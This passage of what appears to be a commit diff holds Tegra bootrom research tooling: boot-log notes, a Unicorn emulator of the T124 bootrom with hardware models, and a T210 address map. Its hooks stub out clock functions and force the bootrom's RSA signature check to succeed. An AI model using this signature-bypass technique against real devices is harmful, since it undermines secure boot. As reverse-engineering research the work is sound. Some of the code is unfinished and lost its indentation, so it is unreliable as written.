if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Inspect HWIO")
parser.add_argument("hwio", help="Path to HWIO file")
args = parser.parse_args()
hwio = pickle.load(open(args.hwio, "rb"))
devices = {}
for address in hwio:
t_dev = address - (address % 0x1000)
if t_dev not in devices:
devices[t_dev] = []
devices[t_dev].append(address)
for d in devices:
print(f"Device at 0x{d:04x} {t124_mem_map[d]['name'] if d in t124_mem_map else ''}")
pass

124
notes.md Normal file
View File

@ -0,0 +1,124 @@
No EMMC board
```
b'Checking whether Onsemi FG present \n'
b'%s(): error code 0x%08x %s\n'
b'%s(): error code 0x%08x %s\n'
b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
b'[TegraBoot] (version %s)\n'
b'Processing in cold boot mode\n'
b'Reset reason: %s\n'
b'Battery Present\n'
b'%s(): error code 0x%08x %s\n'
b'%s(): error code 0x%08x %s\n'
b'NvTbootI2c: Read failed for slave 0x%02x, offset 0x%02x with error code 0x%08x\n'
b'Error MAX17048 vcell read failed.\n'
b'Failed to determine battery voltage\n'
b'Error getting nvdumper carve out address! Booting normally!\n'
b'Sdram initialization is successful \n'
b'PMU BoardId: %d\n'
b'CPU power rail is up \n'
b'Performing RAM repair\n'
b'CPU clock init successful \n'
b'%s with error 0x%x in %s func at %d line \n'
b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
b'Number of retries left %d\n'
b'%s with error 0x%x in %s func at %d line \n'
b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
b'Number of retries left %d\n'
b'%s with error 0x%x in %s func at %d line \n'
b'Command complete wait failed with error 0x%x Interrupt 0x%x\n'
b'Number of retries left %d\n'
b'Send command failed with 0x%x\n'
b'%s with error 0x%x in %s func at %d line \n'
b'Identify card failed with 0x%x\n'
b'%s with error 0x%x in %s func at %d line \n'
b'Sdmmc Init failed with 0x%x error\n'
b'Error in %s: 0x%x !\n'
b'Error is %x \n'
```
Good device boot
```
b'Checking whether Onsemi FG present \n'
b'[TegraBoot] (version %s)\n'
b'Processing in cold boot mode\n'
b'Reset reason: %s\n'
b'Battery Present\n'
b'Battery Voltage: %d mV\n'
b'Battery charge sufficient\n'
b'Error getting nvdumper carve out address! Booting normally!\n'
b'Sdram initialization is successful \n'
b'PMU BoardId: %d\n'
b'CPU power rail is up \n'
b'Performing RAM repair\n'
b'CPU clock init successful \n'
b'Bootloader downloaded successfully.\n'
b'CPU-bootloader entry address: 0x%x \n'
b'BoardId: %d\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'Platform-DebugCarveout: %d\n'
b'Using GP1 to query partitions \n'
b'WB0 init successful\n'
b'Secure Os PKC Verification Success.\n'
b'Loading and Validation of Secure OS Successful\n'
b'NvTbootPackSdramParams: start. \n'
b'NvTbootPackSdramParams: done. \n'
b'Starting CPU & Halting co-processor \n\n'
```
And device with corrupted bootloader:
```
b'Checking whether Onsemi FG present \n'
b'[TegraBoot] (version %s)\n'
b'Processing in cold boot mode\n'
b'Reset reason: %s\n'
b'Battery Present\n'
b'Battery Voltage: %d mV\n'
b'Battery charge sufficient\n'
b'Error getting nvdumper carve out address! Booting normally!\n'
b'Sdram initialization is successful \n'
b'PMU BoardId: %d\n'
b'CPU power rail is up \n'
b'Performing RAM repair\n'
b'CPU clock init successful \n'
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
b'No Bootloader is found !\n'
b'Error in %s: 0x%x !\n'
b'Error is %x \n'
```
```
1073803520:b'Checking whether Onsemi FG present \n'
1073799404:b'[TegraBoot] (version %s)\n'
1073799412:b'Processing in cold boot mode\n'
1073799416:b'Reset reason: %s\n'
1073847520:b'Battery Present\n'
1073847572:b'Battery Voltage: %d mV\n'
1073847596:b'Battery charge sufficient\n'
1073818392:b'Error getting nvdumper carve out address! Booting normally!\n'
1073818500:b'Sdram initialization is successful \n'
1073801672:b'PMU BoardId: %d\n'
1073843272:b'CPU power rail is up \n'
1073813604:b'Performing RAM repair\n'
1073843308:b'CPU clock init successful \n'
b'Instance[%d] bootloader is corrupted trying for next Instance !\n'
1073800404:b'CPU-bootloader entry address: 0x%x \n'
1073800444:b'BoardId: %d\n'
1073844416:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844524:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844608:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844692:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073844788:b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
1073800708:b'Platform-DebugCarveout: %d\n'
1073858616:b'Using GP1 to query partitions \n'
1073843044:b'WB0 init successful\n'
1073848940:b'Secure Os PKC Verification Failed !\n'
1073848972:b'Error in %s [%d] \n'
1073849136:b'Validation of secure os failed !\n'
1073801008:b'Device Shutdown called ...\n'
```

652
partial_emulation.py Normal file
View File

@ -0,0 +1,652 @@
import typing, pathlib, struct, argparse, pickle, hashlib, time
from ghidra_assistant.utils.archs.arm.arm_emulator import *
from ghidra_assistant.ghidra_assistant import GhidraAssistant
from ghidra_assistant.concrete_device import ConcreteDevice
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.backends import default_backend
from cryptography.exceptions import InvalidSignature
if typing.TYPE_CHECKING:
from GA_debugger import *
acces_str = {
UC_MEM_READ : "UC_MEM_READ",
UC_MEM_WRITE : "UC_MEM_WRITE",
UC_MEM_FETCH : "UC_MEM_FETCH",
UC_MEM_READ_UNMAPPED : "UC_MEM_READ_UNMAPPED",
UC_MEM_WRITE_UNMAPPED : "UC_MEM_WRITE_UNMAPPED",
UC_MEM_FETCH_UNMAPPED : "UC_MEM_FETCH_UNMAPPED",
UC_MEM_WRITE_PROT : "UC_MEM_WRITE_PROT",
UC_MEM_READ_PROT : "UC_MEM_READ_PROT",
UC_MEM_FETCH_PROT : "UC_MEM_FETCH_PROT",
UC_MEM_READ_AFTER : "UC_MEM_READ_AFTER",
}
def p8(value):
return struct.pack("<B", value)
class TegraDevice():
BASE = 0x0
SIZE = 0x1000
NAME = "Generic Tegra Device"
NV_ADDRESS_MAP_CLK_RST_BASE = 0x60006000
CLK_RST_CONTROLLER_MISC_CLK_ENB_0 = NV_ADDRESS_MAP_CLK_RST_BASE + 0x48
def __init__(self, emulator : "TegraEmulator") -> None:
self.emulator = emulator
self.fuses_visible = 0
def read(self, address, size):
if len(self.emulator.saved_hwio[address]) > 0:
val = self.emulator.saved_hwio[address].pop(0)
self.emulator.write_ptr(address, val)
return True
if address == TegraDevice.CLK_RST_CONTROLLER_MISC_CLK_ENB_0:
self.emulator.write_ptr(TegraDevice.CLK_RST_CONTROLLER_MISC_CLK_ENB_0, self.fuses_visible)
return True
raise NotImplemented
def write(self, address, data):
return True
if address == TegraDevice.CLK_RST_CONTROLLER_MISC_CLK_ENB_0:
self.fuses_visible = data
return True
raise NotImplemented
class FuseDevice(TegraDevice):
BASE = 0x7000F000
SIZE = 0x1000
NAME = "Fuse"
FUSE_ODM_INFO_0 = BASE + 0x99c
FUSE_FUSEADDR_0 = BASE + 0x804
FUSE_FUSECTRL_0 = BASE + 0x800
CMD_READ = 1
CMD_IDLE = 0
FUSE_DAT = BytesIO()
def __init__(self, emulator: "TegraEmulator") -> None:
super().__init__(emulator)
self.fuse_ctr_cmd = 0xc0040000
self.fuse_addr = 0x0
def read(self, address, size):
if address == FuseDevice.FUSE_ODM_INFO_0:
self.emulator.write_ptr(FuseDevice.FUSE_ODM_INFO_0, 2)
elif address == FuseDevice.FUSE_FUSECTRL_0:
# get last int from fuse_ctr_cmd
cmd = self.fuse_ctr_cmd & 0xffffffff
if cmd == FuseDevice.CMD_READ:
# Handle read
# Set idle, set last byte of cmd to 0
self.fuse_ctr_cmd = cmd & 0xffffff00
self.emulator.write_ptr(FuseDevice.FUSE_FUSECTRL_0, self.fuse_ctr_cmd)
self.emulator.write_ptr(FuseDevice.FUSE_FUSECTRL_0, self.fuse_ctr_cmd)
else:
raise NotImplemented
return True
def write(self, address, value):
if address == FuseDevice.FUSE_FUSEADDR_0:
self.fuse_addr = value
elif address == FuseDevice.FUSE_FUSECTRL_0:
self.emulator.write_ptr(FuseDevice.FUSE_FUSECTRL_0, value)
self.fuse_ctr_cmd = value
else:
raise NotImplemented
return True
pass
class TimerDevice(TegraDevice):
BASE = 0x60005000
SIZE = 0x1000
NAME = "Timer"
READ_TIME_OFFSET = BASE + 0x10
def __init__(self, emulator: "TegraEmulator") -> None:
super().__init__(emulator)
def read(self, address, size):
if address == TimerDevice.READ_TIME_OFFSET:
val = int(time.clock_gettime_ns(0)/1000) & 0xffffffff
self.emulator.write_ptr(TimerDevice.READ_TIME_OFFSET, val)
return True
class EmmcDevice(TegraDevice):
BASE = 0x700b0000
SIZE = 0x1000
NAME = "Emmc"
def __init__(self, emulator: "TegraEmulator") -> None:
super().__init__(emulator)
def read(self, address, size):
pass
def write(self, address, value):
pass
class CryptoDevice(TegraDevice):
BASE = 0x70012000
SIZE = 0x1000
NAME = "Crypto"
KEY_SLOT_SELECT = BASE + 0x31c
KEY_SLOT_START = BASE + 0x320
KEY_SLOT_END = BASE + 0x330
SE_CONFIG_0 = BASE + 0x14
SE_BUSY = BASE + 0x800
SE_START = BASE + 0x8
SE_SHA_CONFIG_0 = BASE + 0x200
SE_SHA_MSG_LENGTH_0 = BASE + 0x204
SE_SHA_MSG_LENGTH_2 = BASE + 0x208
SE_SHA_MSG_LENGTH_2 = BASE + 0x20c
SE_IN_LL_ADDR_0 = BASE + 0x18
SE_OUT_LL_ADDR_0 = BASE + 0x24
SE_SHA_MSG_LEFT_0 = BASE + 0x214
SE_RSA_EXP_SIZE_0 = BASE + 0x408
SE_RSA_KEY_SIZE_0 = BASE + 0x404
SE_RSA_KEYTABLE_ADDR_0 = BASE + 0x420
SE_RSA_KEY_SIZE_0_VAL_WIDTH_2048 = 3
def __init__(self, emulator: "TegraEmulator") -> None:
super().__init__(emulator)
self.keys = {}
self.current_key = b"\x00" * 16
self.key_slot_config = 0
self.key_slot = 0
self.config = 0
def read(self, address, size):
if address == CryptoDevice.SE_CONFIG_0:
self.emulator.write_ptr(CryptoDevice.SE_CONFIG_0, self.config)
elif address == CryptoDevice.SE_BUSY:
pass
else:
pass
def write(self, address, value):
if address == CryptoDevice.KEY_SLOT_SELECT:
# Commit key to key slot
self.key_slot_config = value
self.key_slot = p32(value)[0] # First byte is keyslot
self.keys[self.key_slot] = self.current_key
elif address >= CryptoDevice.KEY_SLOT_START and address <= CryptoDevice.KEY_SLOT_END:
if self.key_slot not in self.keys:
self.keys[self.key_slot] = b"\x00" * 16
# Keys are 16 bytes
offset = address - CryptoDevice.KEY_SLOT_START
self.current_key = self.current_key[:offset] + struct.pack("<I", value) + self.current_key[offset + 4:]
elif address == CryptoDevice.SE_CONFIG_0:
self.config = value
elif address == CryptoDevice.SE_SHA_MSG_LENGTH_0:
self.msg_length = value
elif address == CryptoDevice.SE_SHA_CONFIG_0:
self.sha_config_0 = value
elif address == CryptoDevice.SE_IN_LL_ADDR_0:
self.in_ll_address = value
elif address == CryptoDevice.SE_OUT_LL_ADDR_0:
self.out_ll_address = value
elif address == CryptoDevice.SE_SHA_MSG_LEFT_0:
self.sha_msg_left = value
elif address == CryptoDevice.SE_START:
self.emulator.write_ptr(CryptoDevice.SE_BUSY, 1) # Busy
# Parse SE linked list
last_block = self.emulator.read_ptr(self.in_ll_address)
# Read block
def hash_block():
block_address = self.emulator.read_ptr(self.in_ll_address + 4)
size = self.emulator.read_ptr(self.in_ll_address + 8)
block = self.emulator.uc.mem_read(block_address, size)
self.in_ll_address += 12 # Move to next block
out_address = self.emulator.read_ptr(self.out_ll_address + 4)
out_size = self.emulator.read_ptr(self.out_ll_address + 8)
digest = hashlib.sha256(block).digest()
self.emulator.uc.mem_write(out_address, digest[:out_size])
while last_block != 0:
hash_block()
# Last block
hash_block()
self.emulator.write_ptr(CryptoDevice.SE_BUSY, 0) # Set CE to not busy
pass
# elif address == CryptoDevice.SE_SHA_MSG_LENGTH_2:
# self.msg_length_2 = value
elif address == CryptoDevice.SE_RSA_EXP_SIZE_0:
self.rsa_exp_size = value
elif address == CryptoDevice.SE_RSA_KEY_SIZE_0:
assert value == CryptoDevice.SE_RSA_KEY_SIZE_0_VAL_WIDTH_2048, "Only 2048 bit keys supported"
self.rsa_key_size = 2048
elif address == CryptoDevice.SE_RSA_KEYTABLE_ADDR_0:
# Copies ll key into CE
last_block = self.emulator.read_ptr(self.in_ll_address)
assert last_block == 0, "Only one block supported"
block_address = self.emulator.read_ptr(self.in_ll_address + 4)
size = self.emulator.read_ptr(self.in_ll_address + 8)
self.rsa_key = self.emulator.uc.mem_read(block_address, size)
else:
if value != 0:
pass
self.emulator.write_ptr(address, value)
NVBOOTREADONEOBJECT = 0x00104c40
NVBOOTSDMMCREADPAGE = 0x0010a5d6
NVBOOTSESHAHASH = 0x00102b6c
NVBOOTSERSAPSSSIGNATUREVERIFY = 0x00102ed2
class TegraEmulator(ARM_Emulator):
def __init__(self, hw_itm=True, saved_hwio="", init_uc=True) -> None:
super().__init__(init_uc)
self.log_hw_access = True
self.save_hwio = True
if saved_hwio:
self.saved_hwio = pickle.load(open(saved_hwio, "rb"))
else:
self.saved_hwio = {}
self.hw_itm = hw_itm
self.saved_blocks = {}
try:
self.ghidra = GhidraAssistant()
except:
pass
def setup(self, target="bootrom"):
self.target = target
self.setup_memory()
self.setup_registers()
if not self.hw_itm:
self.setup_devices()
self.setup_hooks()
self.apply_patches()
def install_debugger(self, debugger : ConcreteDevice):
self.debugger = debugger
def setup_memory(self):
self.bootrom_path = pathlib.Path("bootrom_t124.bin")
self.bootrom = self.bootrom_path.read_bytes()
self.uc.mem_map(0x100000, page_align_top(len(self.bootrom)), UC_PROT_EXEC | UC_PROT_READ)
self.uc.mem_write(0x100000, self.bootrom)
# map IMEM
self.uc.mem_map(0x40000000, 0x40000, UC_PROT_EXEC | UC_PROT_READ | UC_PROT_WRITE)
if self.target == "bootrom":
pass
else:
self.imem_path = pathlib.Path("imem3_bct")
self.imem = self.imem_path.read_bytes()
self.uc.mem_write(0x40000000, self.imem)
# DRAM
DRAM_BASE = 0x80000000
DRAM_SIZE = 2 * GB
self.uc.mem_map(DRAM_BASE, DRAM_SIZE, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
def setup_registers(self, target="bootrom"):
if self.target == "bootrom":
self.pc = 0x100000 | 1
self.sp = 0x4000d000
self.is_thumb = True
else:
self.sp = 0x4000d000
self.pc = 0x4000e000
self.is_thumb = False
def setup_devices(self):
self.devices = {}
# self.devices['fuse'] = FuseDevice(self)
# self.devices['timer'] = TimerDevice(self)
# self.devices['emmc'] = EmmcDevice(self)
self.devices['crypto'] = CryptoDevice(self)
# Setup EMMC data
self.emmc_raw_data = open("/home/eljakim/Source/tegrax1_plus/dump/nv-recovery-image-shield-tablet-lte-us-update3_1_1/blob", "rb").read()[0x112dc9f - 528:]
self.devices['tegra'] = TegraDevice(self) # For all other devices
def hook_unmapped(self, uc, access, address, size, value, user_data):
print(f"Unmapped memory access at 0x{address:x} with size {size} and access {acces_str[access]}")
pass
def hook_mem_access(self, uc, access, address, size, value, user_data):
# Hook all memory accesses
# if self.log_hw_access:
# p_info(f"{hex(self.pc)} HW access at 0x{address:x} with size {size}, value={hex(value)} and access {acces_str[access]}")
if access == UC_MEM_WRITE:
self.debugger.memwrite_region(address, self.uc.mem_read(address, size))
if access == UC_MEM_READ:
self.uc.mem_write(address, self.debugger.memdump_region(address, size))
pass
def hw_itm_handle(self, access, address, size, value):
# All unmapped memory is send to the debugger
if self.log_hw_access:
if access == UC_MEM_READ:
val = self.debugger.memdump_region(address, size)
if len(val) == 4:
val = struct.unpack("<I", val)[0]
elif len(val) == 1:
val = struct.unpack("<B", val)[0]
# save all access for emulation
if self.save_hwio:
if address not in self.saved_hwio:
self.saved_hwio[address] = [val]
else:
self.saved_hwio[address].append(val)
p_info(f"{hex(self.pc)} READ at 0x{address:x} with size {size} value={hex(val)} | {hex(address)} <- {hex(val)}")
elif access == UC_MEM_WRITE:
p_info(f"{hex(self.pc)} WRITE at 0x{address:x} with size {size} value={hex(value)} | {hex(address)} -> {hex(value)}")
try:
if address == 0x70012800:
# self.ghidra.ghidra.set_background_color(self.saved_blocks)
sys.exit(0)
pass
if access == UC_MEM_WRITE:
if size == 4:
self.debugger.memwrite_region(address, p32(value))
# self.uc.mem_write(address, p32(value))
# self.uc.mem_write(address, self.debugger.memdump_region(address, size))
elif size == 1:
self.debugger.memwrite_io(address, p8(value))
# self.uc.mem_write(address, p8(value))
# self.uc.mem_write(address, self.debugger.memdump_region(address, size))
else:
raise Exception("Unhandled write!")
elif access == UC_MEM_READ:
if size == 1:
pass
self.uc.mem_write(address, self.debugger.memdump_region(address, size))
else:
raise Exception("Not handled!")
except Exception as e:
print(e)
sys.exit(0)
pass
return True
def get_device_at(self, address):
for devname in self.devices:
dev = self.devices[devname]
if address >= dev.BASE and address < dev.BASE + dev.SIZE:
return dev
return self.devices['tegra']
# raise Exception(f"No device found at address {hex(address)} pc={hex(sef.pc)}")
def hw_emulation_handle(self, access, address, size, value):
dev = self.get_device_at(address)
print(f"Device={dev.NAME} pc={hex(self.pc)} target=0x{address:x} size={size} access={acces_str[access]}")
if access == UC_MEM_READ:
dev.read(address, size)
elif access == UC_MEM_WRITE:
dev.write(address, value)
return True
def sync_imem(self):
'''
Syncs IMEM regions
'''
if not hasattr(self, "debugger"):
pass
imem = self.uc.mem_read(0x40000000, 0x40000)
imem_debugger = self.debugger.memdump_region(0x40000000, 0x40000)
pass
def hook_hw_access(self, uc, access, address, size, value, user_data):
# if address == 0x70012800:
# self.sync_imem()
# pass
if self.hw_itm:
return self.hw_itm_handle(access, address, size, value)
return self.hw_emulation_handle(access, address, size, value)
def setup_hooks(self):
# hook unmapped
self.uc.hook_add(UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_UNMAPPED, self.hook_unmapped)
# 0x6000f000
self.uc.mem_map(0x60000000, 0x20000, UC_PROT_READ | UC_PROT_WRITE)
self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_hw_access, begin=0x60000000, end=0x60000000 + 0x10000)
self.uc.mem_map(0x70000000, 0x100000, UC_PROT_READ | UC_PROT_WRITE)
self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_hw_access, begin=0x70000000, end=0x70000000 + 0x100000)
#ROM
# self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_mem_access, self, 0x100000, 0x100000 + len(self.bootrom))
#IMEM access
# self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_mem_access, self, 0x40000000, 0x40000000 + 0x40000)
# DRAM
# self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_mem_access, self, 0x80000000, 0x80000000 + 2 * GB)
if self.target == "bootrom":
self.setup_warmboot_hook()
self.setup_hook_blocks()
self.setup_rcm_hooks()
self.setup_sdmmc_hooks()
self.setup_rsa_verify_hook()
else:
self.setup_log_hook()
self.setup_hook_blocks()
# self.setup_hook_EmmcValidateResponse()
def setup_coldboot_hook(self):
def hook_coldboot(uc, address, size, user_data):
logging.info(f"Reached coldboot target.")
self.print_ctx()
return True
self.uc.hook_add(UC_HOOK_CODE, hook_coldboot, begin=0x0010145e, end=0x0010145e + 1)
def setup_rcm_hooks(self):
def hook_rcm(uc, address, size, user_data):
self.R0 = 0
self.R1 = 0
return True
self.uc.hook_add(UC_HOOK_CODE, hook_rcm, begin=0x00101414, end=0x00101414 + 1)
def setup_warmboot_hook(self):
def hook_warmboot(uc, address, size, user_data):
logging.info(f"Hooking warmboot, forcing coldboot.")
self.R0 = 0
return True
self.uc.hook_add(UC_HOOK_CODE, hook_warmboot, begin=0x00101f3a, end=0x00101f3a + 1)
def setup_rsa_verify_hook(self):
def hook_rsa_signature_verify(uc, address, size, user_data): # TODO not working
print(f"RSA signature verify keyslot={self.R0} keysize={self.R1} input={self.R2} message_hash={self.R3} input_size={self.R4} signature={self.R5} algo={self.R6} signature_size={self.R7}")
crypto = self.devices['crypto']
crypto_key = crypto.rsa_key[:crypto.rsa_key_size // 8]
signature = self.uc.mem_read(self.R7, 0x100)
modulus = int.from_bytes(crypto_key, byteorder='big')
public_numbers = rsa.RSAPublicNumbers(e=65537, n=modulus)
public_key = public_numbers.public_key(default_backend())
try:
public_key.verify(
signature,
b"",
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
print("Signature is valid.")
except InvalidSignature:
print("Signature is invalid.")
# Verify signature
self.PC = self.LR
self.R0 = 0
return True
self.uc.hook_add(UC_HOOK_CODE, hook_rsa_signature_verify, begin=0x00102f08, end=0x00102f08 + 1)
def apply_patches(self):
# Nop out 400101f0 to 0x40010220, maybe this is restricting access to IMEM and ROM?
self.sc.mov_0_r0 = self.ks.asm("mov r0, #0", as_bytes=True)[0]
# self.uc.mem_write(0x400101e4, self.sc.mov_0_r0 * ((0x40010220 - 0x400101e4) // 4))
self.sc.bx_lr = self.ks.asm("bx lr", as_bytes=True)[0]
bx_lr_thumb = self.ksT.asm("bx lr", as_bytes=True)[0]
movs_0_r0_thumb = self.ksT.asm("movs r0, #0", as_bytes=True)[0]
# self.uc.mem_write(0x4001dfb0, self.sc.mov_0_r0 + self.sc.bx_lr)
if self.target == "bootrom":
#NvBootClocksIsPllStable, ret
# self.uc.mem_write(0x00101730, bx_lr_thumb)
# # NvBootClocksStartPll
self.uc.mem_write(0x00101866, bx_lr_thumb)
# NvBootClocksPllDivRstCtrl
self.uc.mem_write(0x001016ce, bx_lr_thumb)
#usb init?
self.uc.mem_write(0x00103bf4, bx_lr_thumb)
#SE engine always ready
# self.uc.mem_write(0x00102b24, movs_0_r0_thumb)
pass
def run(self):
try:
self.uc.emu_start(self.pc, 0)
pass
except Exception as e:
print(str(e))
self.print_ctx(print)
pass
def setup_log_hook(self):
UART_LOG_HOOK = 0x4001cadc
def hook_log(uc, address, size, user_data):
msg = self.read_string(self.R0)
try:
args = msg.count(b"%")
arg_types = []
offset = 0
for i in range(args):
c_offset = msg[offset:].find(b"%")
mtype = msg[c_offset:offset + 2]
offset += c_offset + 2
arg_types.append(mtype)
def read_msg_var(mtype, addr):
if mtype == b"%s":
return self.read_string(addr)
elif mtype == b"%d":
return eval('b"'+ str(addr) +'"')# As int
else:
return eval('b"'+ hex(addr)[2:] +'"')# As hex
arg_str = []
for i in range(args):
if i == 0:
arg_str.append(read_msg_var(arg_types[i], self.R1))
elif i == 1:
arg_str.append(read_msg_var(arg_types[i], self.R2))
elif i == 2:
arg_str.append(read_msg_var(arg_types[i], self.R3))
else:
break
for i in range(len(arg_str)):
offset = msg.find(b"%")
msg = msg[:offset] + arg_str[i] + msg[offset + 2:]
except Exception as e:
pass
print(f"{hex(self.LR)} : {msg}")
if(b"Sdmmc Read failed" in msg):
pass
return True
self.uc.hook_add(UC_HOOK_CODE, hook_log, begin=UART_LOG_HOOK, end=UART_LOG_HOOK + 1)
# And patch function to just return
self.uc.mem_write(UART_LOG_HOOK, self.ks.asm("bx lr", as_bytes=True)[0])
def setup_sdmmc_hooks(self):
def hook_sdmmc(uc, address, size, user_data):
block = self.R0
page = self.R1
destbuf = self.R2
offset = page * 0x200
dat = self.emmc_raw_data[offset:offset + 0x200]
self.uc.mem_write(destbuf, dat)
self.PC = self.LR
return True
self.uc.hook_add(UC_HOOK_CODE, hook_sdmmc, begin=NVBOOTSDMMCREADPAGE, end=NVBOOTSDMMCREADPAGE + 1)
def setup_se_sha_hash_hook(self):
def hook_se_sha(uc, address, size, user_data):
self.saved_se_sha[self.pc] = self.get_registers()
return True
self.uc.hook_add(UC_HOOK_CODE, hook_se_sha, begin=NVBOOTSESHAHASH, end=NVBOOTSESHAHASH + 1)
def setup_hook_blocks(self, only_blocks=False):
if only_blocks:
def hook_block(uc, address, size, user_data):
# print(f"Block at {hex(self.LR)}")
self.saved_blocks[self.LR] = self.get_registers()
return True
self.uc.hook_add(UC_HOOK_BLOCK, hook_block)
else:
def hook_all(uc, address, size, user_data):
if self.pc == NVBOOTREADONEOBJECT:
info(f"NvBootReadOneObject context={self.R0:04x} dest={self.R1:04x} bct_obj_dst={self.R2:04x} num_copies={self.R3}")
if self.pc == 0x00104558:
# Sync 0x40000100, length 0x2000
info(f"NvBootReadOneObject done dest={self.read_ptr(self.R1)}")
# if self.pc == NVBOOTSDMMCREADPAGE:
# # At this point we can read our on pages if requested.
# info(f"SdmmcReadPage block={self.R0} page={self.R1} destbuf={self.R2:04x}")
# print(f"Block at {hex(self.LR)}")
if self.pc == 0x00102ee8:
pass
if self.pc == 0x00102f1e:
pass
elif self.pc == 0x00104418:
pass #Validatebct
elif self.pc == 0x00104452:
pass #validate done
self.saved_blocks[self.pc] = self.get_registers()
return True
self.uc.hook_add(UC_HOOK_CODE, hook_all, self)
def setup_interrupt_hook(self):
RAISE_INTERRUPT = 0x4001cab8
def hook_interrupt(uc, address, size, user_data):
print(f"Interrupt at {self.LR}")
return True
self.uc.hook_add(UC_HOOK_CODE, hook_interrupt, begin=RAISE_INTERRUPT, end=RAISE_INTERRUPT + 1)
def setup_hook_EmmcValidateResponse(self):
self.saved_emmc_responses = {}
def hook_emmc(uc, address, size, user_data):
self.saved_emmc_responses[self.pc] = self.get_registers()
return True
self.uc.hook_add(UC_HOOK_CODE, hook_emmc, begin=0x4001dfb0, end=0x4001e160)
def do_partial_emu(debugger : ConcreteDevice, real_hw=True):
if real_hw:
emu = TegraEmulator()
emu.install_debugger(debugger)
else:
emu = TegraEmulator(hw_itm=False, saved_hwio="bin/t124_brom_hwio.pickle")
emu.setup(target="bootrom")
emu.run()
if __name__ == "__main__":
do_partial_emu(None, real_hw=False)

13
patches.py Normal file
View File

@ -0,0 +1,13 @@
from keystone import *
from capstone import *
from tools import *
import io
cs = Cs(CS_ARCH_ARM, CS_MODE_THUMB)
ks = Ks(KS_ARCH_ARM, KS_MODE_THUMB)
def ks_to_bytes(ks_code):
return b"".join([int.to_bytes(x, 1, "little") for x in ks_code[0]])
cpsr_to_r0_ins = ks_to_bytes(ks.asm("mrs r0, cpsr"))
r1_to_cpsr = ks_to_bytes(ks.asm("msr cpsr_c, r1"))

93
t210.py Normal file
View File

@ -0,0 +1,93 @@
# Define constants for the base addresses
BASE_ADDRESSES = {
'IROM_BASE': 0x100000,
'IRAM_BASE': 0x40000000,
'HOST1X_BASE': 0x50000000,
'BPMP_CACHE_BASE': 0x50040000,
'MSELECT_BASE': 0x50060000,
'DPAUX1_BASE': 0x54040000,
'TSEC2_BASE': 0x54100000,
'DISPLAY_A_BASE': 0x54200000,
'DISPLAY_B_BASE': 0x54240000,
'DSI_BASE': 0x54300000,
'VIC_BASE': 0x54340000,
'NVJPG_BASE': 0x54380000,
'NVDEC_BASE': 0x54480000,
'NVENC_BASE': 0x544C0000,
'TSEC_BASE': 0x54500000,
'SOR1_BASE': 0x54580000,
'GPU_BASE': 0x57000000,
'GPU_USER_BASE': 0x58000000,
'RES_SEMAPH_BASE': 0x60001000,
'ARB_SEMAPH_BASE': 0x60002000,
'ARBPRI_BASE': 0x60003000,
'ICTLR_BASE': 0x60004000,
'TMR_BASE': 0x60005000,
'CLOCK_BASE': 0x60006000,
'FLOW_CTLR_BASE': 0x60007000,
'AHBDMA_BASE': 0x60008000,
'SYSREG_BASE': 0x6000C000,
'SB_BASE': 0x6000C000 + 0x200,
'ACTMON_BASE': 0x6000C800,
'GPIO_BASE': 0x6000D000,
'EXCP_VEC_BASE': 0x6000F000,
'IPATCH_BASE': 0x6001DC00,
'APBDMA_BASE': 0x60020000,
'VGPIO_BASE': 0x60024000,
'APB_MISC_BASE': 0x70000000,
'PINMUX_AUX_BASE': 0x70003000,
'UART_BASE': 0x70006000,
'PWM_BASE': 0x7000A000,
'I2C_BASE': 0x7000C000,
'RTC_BASE': 0x7000E000,
'PMC_BASE': 0x7000E400,
'FUSE_BASE': 0x7000F800,
'KFUSE_BASE': 0x7000FC00,
'SE_BASE': 0x70012000,
'TSENSOR_BASE': 0x70014000,
'ATOMICS_BASE': 0x70016000,
'MC_BASE': 0x70019000,
'EMC_BASE': 0x7001B000,
'EMC0_BASE': 0x7001E000,
'EMC1_BASE': 0x7001F000,
'XUSB_HOST_BASE': 0x70090000,
'XUSB_PADCTL_BASE': 0x7009F000,
'XUSB_DEV_BASE': 0x700D0000,
'SDMMC_BASE': 0x700B0000,
'SOC_THERM_BASE': 0x700E2000,
'MIPI_CAL_BASE': 0x700E3000,
'SYSCTR0_BASE': 0x700F0000,
'SYSCTR1_BASE': 0x70100000,
'CL_DVFS_BASE': 0x70110000,
'APE_BASE': 0x702C0000,
'AHUB_BASE': 0x702D0000,
'AXBAR_BASE': 0x702D0800,
'I2S_BASE': 0x702D1000,
'ADMA_BASE': 0x702E2000,
'SE2_BASE': 0x70412000,
'SE_PKA1_BASE': 0x70420000,
'TZRAM_BASE': 0x7C010000,
'TZRAM_SIZE': 0x10000,
